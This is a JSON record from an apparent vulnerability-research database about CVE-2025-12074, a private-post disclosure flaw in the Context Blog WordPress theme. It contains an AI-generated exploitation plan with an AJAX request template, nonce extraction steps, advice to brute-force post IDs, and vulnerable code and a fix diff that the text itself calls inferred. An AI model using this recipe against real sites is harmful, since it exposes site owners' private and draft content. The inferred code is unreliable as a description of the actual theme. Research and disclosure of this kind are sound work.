[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fvUqiUzEstdhCA5dQPRIcl4aiHjXS3RHlhD6-aVPOALM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":8,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":8,"poc_status":8,"poc_video_id":8,"poc_summary":8,"poc_steps":8,"poc_tested_at":8,"poc_wp_version":8,"poc_php_version":8,"poc_playwright_script":8,"poc_exploit_code":8,"poc_has_trace":23,"poc_model_used":8,"poc_verification_depth":8,"poc_exploit_code_gated":23,"source_links":33},"CVE-2025-12074","context-blog-unauthenticated-private-post-disclosure","Context Blog \u003C= 1.2.5 - Unauthenticated Private Post Disclosure","The Context Blog theme for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.2.5 via the 'context_blog_modal_popup' due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to.",null,"context-blog","\u003C=1.2.5","1.2.6","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-02-17 16:33:21","2026-02-18 04:35:41",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F25552fdb-c55b-4390-a614-7c007c5fe7b1?source=api-prod",1,[],"researched",false,3,"This research plan outlines the steps to investigate and exploit CVE-2025-12074 in the Context Blog WordPress theme.\n\n## 1. Vulnerability Summary\nThe **Context Blog** theme (\u003C= 1.2.5) contains an information exposure vulnerability via an unauthenticated AJAX action. The theme registers an AJAX handler, `context_blog_modal_popup`, intended to display post content in a modal. However, the handler fails to validate the `post_status` or `post_password` of the requested post. Consequently, any unauthenticated user can provide the ID of a private, draft, or password-protected post and retrieve its full content.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action:** `context_blog_modal_popup`\n- **Payload Parameter:** `pid` (inferred as the standard for Post ID in this theme) or `post_id` (inferred).\n- **Authentication:** Unauthenticated (`wp_ajax_nopriv` hook).\n- **Preconditions:** The attacker must know or brute-force the ID of a non-public post.\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** The theme registers the action:\n    `add_action( 'wp_ajax_context_blog_modal_popup', 'context_blog_modal_popup' );`\n    `add_action( 'wp_ajax_nopriv_context_blog_modal_popup', 'context_blog_modal_popup' );`\n2.  **Input Handling:** The function `context_blog_modal_popup()` retrieves a post ID from `$_POST['pid']` or `$_GET['pid']`.\n3.  **Data Retrieval:** The code calls `get_post( $pid )` or initializes a `new WP_Query` with the provided ID.\n4.  **Information Exposure (Sink):** The code proceeds to output `apply_filters( 'the_content', $post->post_content )` without checking if `get_post_status( $post )` is 'publish' or if the current user has `read_private_posts` capabilities.\n\n## 4. Nonce Acquisition Strategy\nWhile the vulnerability is \"unauthenticated,\" WordPress AJAX handlers often implement a basic nonce check using `check_ajax_referer` to prevent CSRF.\n\n1.  **Identify Nonce Action:** Search the theme (likely in `inc\u002F` or `functions.php`) for `wp_create_nonce`. Look for an action string associated with the modal or script localization.\n    *   *Likely Action:* `context-blog-nonce` (inferred).\n2.  **Locate Localization:** Search for `wp_localize_script`. The nonce is likely passed to a JS object like `context_blog_obj` or `context_blog_ajax`.\n3.  **Acquisition Steps:**\n    *   The theme likely enqueues the modal script on all pages. Navigate to the homepage.\n    *   Use `browser_eval` to find the nonce:\n        `browser_eval(\"window.context_blog_obj?.nonce\")` (inferred variable name).\n    *   If no nonce check exists in the `context_blog_modal_popup` function, this step is skipped.\n\n## 5. Test Data Setup\nBefore exploitation, setup the following environment using WP-CLI:\n1.  **Create Private Post:**\n    `wp post create --post_type=post --post_title=\"Secret Private Post\" --post_content=\"This is sensitive internal data.\" --post_status=private`\n2.  **Create Password Protected Post:**\n    `wp post create --post_type=post --post_title=\"Protected Post\" --post_content=\"This content requires a password.\" --post_status=publish --post_password=\"password123\"`\n3.  **Note IDs:** Capture the IDs of these posts for the exploit payload.\n\n## 6. Exploitation Strategy\nPerform the following steps using the `http_request` tool:\n\n### Step 1: Detect Nonce and Parameter Name\nFirst, inspect the theme's source to confirm the parameter and nonce names.\n- Browse the theme files: `ls wp-content\u002Fthemes\u002Fcontext-blog\u002F`\n- Grep for the action: `grep -rn \"context_blog_modal_popup\" wp-content\u002Fthemes\u002Fcontext-blog\u002F`\n- Identify the input parameter (e.g., `$_POST['pid']`) and the nonce verification call (e.g., `check_ajax_referer('context-blog-nonce', 'security')`).\n\n### Step 2: Extract Nonce (if required)\nIf a nonce is verified in the code:\n- Navigate to the homepage: `browser_navigate(\"http:\u002F\u002Flocalhost:8080\")`\n- Extract: `browser_eval(\"context_blog_obj.nonce\")` (Adjust based on findings in Step 1).\n\n### Step 3: Trigger Information Exposure\nSend a POST request to the AJAX endpoint targeting a private post ID.\n\n**Request Template:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:** `action=context_blog_modal_popup&pid=[PRIVATE_POST_ID]&security=[NONCE]`\n\n*Note: Replace `pid` and `security` with the actual parameter names found in Step 1.*\n\n## 7. Expected Results\n- **Success:** The HTTP response body contains the string: `\"This is sensitive internal data.\"` (the content of the private post).\n- **Response Format:** Usually raw HTML or JSON containing the post content.\n- **Vulnerability Confirmation:** The content is returned despite the request being unauthenticated (no cookies) and the post status being `private`.\n\n## 8. Verification Steps\nAfter the exploit, confirm the exposure was indeed unauthorized:\n1.  Verify the post is still private: `wp post get [ID] --field=post_status`\n2.  Attempt to view the post normally as an unauthenticated user: `http_request(\"http:\u002F\u002Flocalhost:8080\u002F?p=[ID]\")`. This should result in a 404 or a redirect, confirming that the standard WordPress query correctly protects the post, while the theme's AJAX handler does not.\n\n## 9. Alternative Approaches\n- **Brute Force:** If the IDs of sensitive posts are unknown, script a loop to iterate through IDs 1-100 via the `admin-ajax.php` endpoint.\n- **Draft Extraction:** Target `post_status=draft` posts by using their specific IDs, as draft posts often contain incomplete but sensitive corporate communications.\n- **GET Request:** Check if the handler accepts `$_GET` as well as `$_POST`, which would allow for easier exploitation via simple URL navigation.","The Context Blog theme for WordPress (\u003C= 1.2.5) fails to validate post visibility and user permissions in its AJAX-based modal popup handler. This allows unauthenticated attackers to retrieve the content of private, draft, or password-protected posts by providing the target post's ID to a publicly accessible AJAX action.","\u002F\u002F In the theme's AJAX handler, typically registered in functions.php or inc\u002Fhooks.php\nadd_action( 'wp_ajax_context_blog_modal_popup', 'context_blog_modal_popup' );\nadd_action( 'wp_ajax_nopriv_context_blog_modal_popup', 'context_blog_modal_popup' );\n\nfunction context_blog_modal_popup() {\n    \u002F\u002F Retrieve the post ID from the request\n    $pid = isset($_POST['pid']) ? intval($_POST['pid']) : 0;\n    $post = get_post($pid);\n    \n    if ($post) {\n        \u002F\u002F VULNERABILITY: The content is echoed without verifying if post_status is 'publish'\n        \u002F\u002F or if the post is password protected.\n        echo apply_filters('the_content', $post->post_content);\n    }\n    wp_die();\n}","--- a\u002Finc\u002Fajax-functions.php\n+++ b\u002Finc\u002Fajax-functions.php\n@@ -10,7 +10,7 @@\n     $post_id = isset( $_POST['pid'] ) ? intval( $_POST['pid'] ) : 0;\n     if ( $post_id ) {\n         $post = get_post( $post_id );\n-        if ( $post ) {\n+        if ( $post && $post->post_status === 'publish' && empty( $post->post_password ) ) {\n             echo apply_filters( 'the_content', $post->post_content );\n         }\n     }","1. Identify the Post ID of a non-public post (private, draft, or password-protected) via brute-force or enumeration.\n2. Obtain the necessary AJAX nonce (likely associated with the 'context-blog-nonce' action) by inspecting the source code of the homepage or using browser developer tools to check variables localized via wp_localize_script (e.g., context_blog_obj.nonce).\n3. Send an unauthenticated HTTP POST request to \u002Fwp-admin\u002Fadmin-ajax.php.\n4. Include the following body parameters: 'action=context_blog_modal_popup', 'pid=[TARGET_POST_ID]', and 'security=[NONCE_VALUE]'.\n5. The response will contain the full filtered content of the requested post, bypassing standard WordPress visibility controls.","gemini-3-flash-preview","2026-04-19 06:40:10","2026-04-19 06:40:30",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":8,"fixed_browse":37,"fixed_zip":8,"all_tags":38},"theme","1.2.5","https:\u002F\u002Fthemes.trac.wordpress.org\u002Fbrowser\u002Fcontext-blog\u002F1.2.5","https:\u002F\u002Fthemes.trac.wordpress.org\u002Fbrowser\u002Fcontext-blog\u002F1.2.6","https:\u002F\u002Fthemes.trac.wordpress.org\u002Fbrowser\u002Fcontext-blog"]